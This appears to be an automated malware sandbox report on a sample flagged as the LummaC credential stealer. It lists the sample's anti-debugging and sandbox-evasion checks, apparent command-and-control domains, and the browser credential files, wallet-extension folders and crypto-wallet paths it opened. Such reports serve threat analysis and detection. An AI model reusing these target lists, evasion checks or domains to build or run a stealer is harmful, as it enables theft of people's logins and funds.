Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.3055705952.0000000000E48000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2739922568.00000000054F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000002.3055188355.0000000000C71000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: presticitpo.store

Source: file.exe, 00000000.00000002.3056303679.0000000000E8C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: owsbPProgram Manager
Source: file.exe, 00000000.00000002.3056303679.0000000000E8C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: wsbPProgram Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.3036985688.0000000000743000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3054393760.00000000006D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3053674176.00000000006D3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe	String found in binary or memory: %appdata%\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
